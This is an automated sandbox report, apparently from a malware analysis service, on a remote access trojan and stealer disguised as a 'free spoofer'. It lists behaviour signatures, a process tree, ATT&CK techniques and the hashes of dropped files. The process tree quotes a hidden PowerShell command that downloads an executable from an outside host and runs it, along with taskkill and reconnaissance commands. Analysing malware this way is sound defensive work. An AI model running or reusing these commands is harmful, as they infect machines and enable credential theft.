Overview

overview

10

Static

static

3

exe..exe

windows10-ltsc_2021-x64

10

exe..exe

windows10-2004-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    904s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/09/2026, 15:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    exe..exe
  • Size 118.4MB
  • Sample260929-sxb2hatgmd
  • SHA256 058ab343cb516619440c979338f59dcc9a1b40dc326f6d854f1d4ff7b62655e0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutiondarksideratpersistencepyinstallerspywarestealertrojan

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

    trojandarksiderat
  • Detects DarkSideRAT 1 IoCs
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
    defense_evasion
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
    defense_evasion
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Looks for VMWare drivers on disk 2 TTPs 2 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 9 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 41 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\exe..exe
    "C:\Users\Admin\AppData\Local\Temp\exe..exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4588
    • \??\c:\users\admin\appdata\local\temp\exe..exe 
      c:\users\admin\appdata\local\temp\exe..exe 
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe
        "C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4724
        • \??\c:\program files (x86)\microsoft\exodus free spoofer.exe 
          "c:\program files (x86)\microsoft\exodus free spoofer.exe "
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3272
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:796
            • C:\Windows\system32\cmd.exe
              cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5060
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
                7⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Downloads MZ/PE file
                • Enumerates connected drives
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2444
                • C:\Users\Admin\AppData\Roaming\BK945954.exe
                  "C:\Users\Admin\AppData\Roaming\BK945954.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:1608
        • C:\Windows\Resources\Themes\icsys.icn.exe
          C:\Windows\Resources\Themes\icsys.icn.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:1140
      • C:\Program Files (x86)\Microsoft\Crash_Helper_.exe
        "C:\Program Files (x86)\Microsoft\Crash_Helper_.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2676
        • \??\c:\program files (x86)\microsoft\crash_helper_.exe 
          "c:\program files (x86)\microsoft\crash_helper_.exe "
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4440
          • C:\Program Files (x86)\Microsoft\crash_helper_.exe 
            "c:\program files (x86)\microsoft\crash_helper_.exe "
            5⤵
            • Looks for VirtualBox drivers on disk
            • Looks for VMWare drivers on disk
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:204
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "ver"
              6⤵
              • Executes a command shell one-liner
              PID:1432
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4796
              • C:\Windows\system32\tasklist.exe
                tasklist
                7⤵
                • Discovers running processes
                • Suspicious use of AdjustPrivilegeToken
                PID:1644
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe /T >nul 2>&1
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2764
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2680
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c taskkill /F /IM msedge.exe /T >nul 2>&1
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5020
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1528
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c taskkill /F /IM brave.exe /T >nul 2>&1
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2756
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:212
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c taskkill /F /IM opera.exe /T >nul 2>&1
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:632
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4268
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3972
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                7⤵
                • Reads the TCP/IP host and domain name from the registry
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4864
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2208
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic computersystem get totalphysicalmemory
                7⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious use of AdjustPrivilegeToken
                PID:3808
        • C:\Windows\Resources\Themes\icsys.icn.exe
          C:\Windows\Resources\Themes\icsys.icn.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3820
          • \??\c:\windows\resources\themes\explorer.exe
            c:\windows\resources\themes\explorer.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:2712
      • C:\Program Files (x86)\Microsoft\Runtime Broker.exe
        "C:\Program Files (x86)\Microsoft\Runtime Broker.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4404
        • \??\c:\program files (x86)\microsoft\runtime broker.exe 
          "c:\program files (x86)\microsoft\runtime broker.exe "
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2796
          • C:\Program Files (x86)\Microsoft\runtime broker.exe 
            "c:\program files (x86)\microsoft\runtime broker.exe "
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3336
            • C:\Windows\SYSTEM32\attrib.exe
              attrib +h "C:\Program Files (x86)\Microsoft\runtime broker.exe "
              6⤵
              • Views/modifies file attributes
              PID:4664
        • C:\Windows\Resources\Themes\icsys.icn.exe
          C:\Windows\Resources\Themes\icsys.icn.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4444
          • \??\c:\windows\resources\themes\explorer.exe
            c:\windows\resources\themes\explorer.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:2608
    • C:\Windows\Resources\Themes\icsys.icn.exe
      C:\Windows\Resources\Themes\icsys.icn.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2256
      • \??\c:\windows\resources\themes\explorer.exe
        c:\windows\resources\themes\explorer.exe
        3⤵
        • Modifies visibility of hidden/system files in Explorer
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4052
        • \??\c:\windows\resources\spoolsv.exe
          c:\windows\resources\spoolsv.exe SE
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1212
          • \??\c:\windows\resources\svchost.exe
            c:\windows\resources\svchost.exe
            5⤵
            • Modifies visibility of hidden/system files in Explorer
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2868
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe PR
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:4380

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Defense Evasion

        Hide Artifacts

        2
        T1564

        Hidden Files and Directories

        2
        T1564.001

        Modify Registry

        2
        T1112

        Virtualization/Sandbox Evasion

        2
        T1497

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        3
        T1552

        Credentials In Files

        3
        T1552.001

        Discovery

        Browser Information Discovery

        1
        T1217

        File and Directory Discovery

        2
        T1083

        Peripheral Device Discovery

        1
        T1120

        Process Discovery

        1
        T1057

        Query Registry

        2
        T1012

        System Information Discovery

        4
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        2
        T1016

        Internet Connection Discovery

        1
        T1016.001

        Virtualization/Sandbox Evasion

        2
        T1497

        Lateral Movement

        Collection

        Data from Local System

        2
        T1005

        Command and Control

        Web Service

        1
        T1102

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Crash_Helper_.exe
        • Path C:\Program Files (x86)\Microsoft\Crash_Helper_.exe
        • Size 22.0MB
        • SHA256 553864da5f26484ddef51c504266b5f457b012e9f3cde2279e878b331a0d8b0a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        EXODUS FREE SPOOFER.exe
        • Path C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe
        • Size 43.7MB
        • SHA256 da4058cab7ad1afb043fbb9b8e9248937d5346c193f9b882d47b76e9c6ffe571
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        exodus free spoofer.exe 
        • Path C:\Program Files (x86)\Microsoft\exodus free spoofer.exe 
        • Size 43.6MB
        • SHA256 de63c670402ec56374369db7ccbb808f69a663606ba89b3c256bd3d3a41188b8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\VCRUNTIME140.dll
        • Size 174KB
        • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\_ctypes.pyd
        • Size 138KB
        • SHA256 6171e6418edc2be398752ace7baf82e24a8602bb8d53f3e8c1875ddfa32981c1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-console-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-console-l1-1-0.dll
        • Size 22KB
        • SHA256 56a3c8ec50eedef1f5024696ef928cb2a0f5d8b40c8a122cba412944dae81c46
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-datetime-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-datetime-l1-1-0.dll
        • Size 22KB
        • SHA256 e91b155e01b98aa4466b94da39e04c379f2fd392c154e7b6d80c05e0476f0552
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-debug-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-debug-l1-1-0.dll
        • Size 22KB
        • SHA256 2117e4953f5ec36adff21a416db5ff5f9ff27ea5f70b71b2e7d87897979b34e1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-errorhandling-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-errorhandling-l1-1-0.dll
        • Size 22KB
        • SHA256 ce83855b81333be8ca07a70700bff553dfb94869637dfe529bc8ef64094032be
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-fibers-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-fibers-l1-1-0.dll
        • Size 22KB
        • SHA256 5fae6d3fa0df3ac9a0171654062b6518b56bc586ab03d8a05e9cd4a112628934
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-file-l1-1-0.dll
        • Size 26KB
        • SHA256 be54476a0d4394d8ca6a5943b6425569403a1a7e939cf9b4948319b450022b45
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-file-l1-2-0.dll
        • Size 22KB
        • SHA256 87cd5dac0ad2c7f6d64a51c58bc6fb9f2b207fe4966dcf47dd83728b0e439a75
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l2-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-file-l2-1-0.dll
        • Size 20KB
        • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-handle-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-handle-l1-1-0.dll
        • Size 22KB
        • SHA256 5ae3a6e15f6a47f78b59f8a24334ffc88e8de05664c4c04d6243921ecba16325
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-heap-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-heap-l1-1-0.dll
        • Size 22KB
        • SHA256 5f8dca9ec0204453ad8e31b8f36226fef8342c36d3a07b15bcece301bc7f24cd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-interlocked-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-interlocked-l1-1-0.dll
        • Size 22KB
        • SHA256 bdad0c627f722de797917a9ebbb02acc0669c44326f64ba5fc1f8d6c2d978128
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-libraryloader-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-libraryloader-l1-1-0.dll
        • Size 22KB
        • SHA256 b17a00e4640a1d5a91c1b1ddf0465ba04ffc2ac5404e37d02b56ba7d2fabbced
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-localization-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-localization-l1-2-0.dll
        • Size 22KB
        • SHA256 4b5c4d32550d6ec0715c6cf651e9c1bbccb01bffa72e082a0ae04251800d43a1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-memory-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-memory-l1-1-0.dll
        • Size 22KB
        • SHA256 47817a21044295a18907f13cd9f2705f9a21579f80fa6d3f7bf22e00607189fe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-namedpipe-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-namedpipe-l1-1-0.dll
        • Size 22KB
        • SHA256 64896c2ca9b8da6c6c327602000f1f6d95e49e6f8df06929176a319cc2aa985e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processenvironment-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-processenvironment-l1-1-0.dll
        • Size 22KB
        • SHA256 8df2ab621406d2905a330df3955db715965c2c097061345ad94dafab1b04ef00
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processthreads-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-processthreads-l1-1-0.dll
        • Size 22KB
        • SHA256 a0299f1564ea8aeeff67226b6d2f9b9802aab877c9b89c82d50377ca2a12dba9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processthreads-l1-1-1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-processthreads-l1-1-1.dll
        • Size 22KB
        • SHA256 fe33f48a34243481782742168b24f344485527327534f7e05c60ba5420715387
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-profile-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-profile-l1-1-0.dll
        • Size 22KB
        • SHA256 2f506ccb47a0513d16b3dece9ed1a0459b796fdb96e40d8967dc84e7d4e36954
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-rtlsupport-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-rtlsupport-l1-1-0.dll
        • Size 22KB
        • SHA256 4335d1e4051cc16aee5745b1ae9027e1e710f41972faefc57c065f2166209853
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-string-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-string-l1-1-0.dll
        • Size 22KB
        • SHA256 4c8b4993badf3d843f57638b5f82e98769d3c7e0bd524d999ec2c720013a2fdf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-synch-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-synch-l1-1-0.dll
        • Size 22KB
        • SHA256 a7e2c7177f10d6d35ed2cc79ce71eb979ba69a348f19237121ddac7d61103ebe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-synch-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-synch-l1-2-0.dll
        • Size 22KB
        • SHA256 6ff6a5b89c6ccc33a8f99fef4abb83b760c3d6e5be20d4805d95720f67b86876
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-sysinfo-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-sysinfo-l1-1-0.dll
        • Size 22KB
        • SHA256 881b7e57388edbf8a167bc7e7714286e9fed54b981479fa540c218aab049a81e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-timezone-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-timezone-l1-1-0.dll
        • Size 22KB
        • SHA256 c886fd30abe580e0bdb29b9e3cb50872159d1c62bcf03355b28850176f1258aa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-util-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\api-ms-win-core-util-l1-1-0.dll
        • Size 22KB
        • SHA256 26a32ca4e6a5f853a371f1fff7c4b7cd90288f4364921fbd4b11cbff697767a2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\base_library.zip
        • Size 1.4MB
        • SHA256 9489f8604dcf92408dfb6a93e33cf47cc2c11f41a944b7baf396f8eabcd311ef
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python315.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\python315.dll
        • Size 7.5MB
        • SHA256 7be53b47c33c4ee662ec1f6a896ea73270171751dd132dff0fe93dd0a07ded36
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ucrtbase.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011582\ucrtbase.dll
        • Size 1.1MB
        • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_sc2gv3q3.2ca.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sc2gv3q3.2ca.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        BK945954.exe
        • Path C:\Users\Admin\AppData\Roaming\BK945954.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        explorer.exe
        • Path C:\Windows\Resources\Themes\explorer.exe
        • Size 135KB
        • SHA256 baa1d905f663175a61050d0d9986ba250811d7ed6a71757777a8106a0031a068
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 50f5692194781c3147ee18a7a57359c42f348c7bd3cc9b8d7baa0b2266fc8d05
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 1787505dce4295f5a293deee2651955506a4635c807a561a01f1b93fb5ee622a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 60f8b3f630f48f3ba04c82bfe4ac69196678fe8701c543b88c3323e925a0c149
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 83f53cfcd3ccc1716c96dd2395bacb08d32e3cebb45cf38c4a173b556da057df
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        spoolsv.exe
        • Path C:\Windows\Resources\spoolsv.exe
        • Size 135KB
        • SHA256 70818b44f1677971020ab93581e9aa7b888b46dfaed419de4bf7998461dedc9d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        svchost.exe
        • Path C:\Windows\Resources\svchost.exe
        • Size 135KB
        • SHA256 2399435cae437900e242763d538963201b27c38e46694c49a19e88f201c41ce4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        crash_helper_.exe 
        • Path \??\c:\program files (x86)\microsoft\crash_helper_.exe 
        • Size 21.8MB
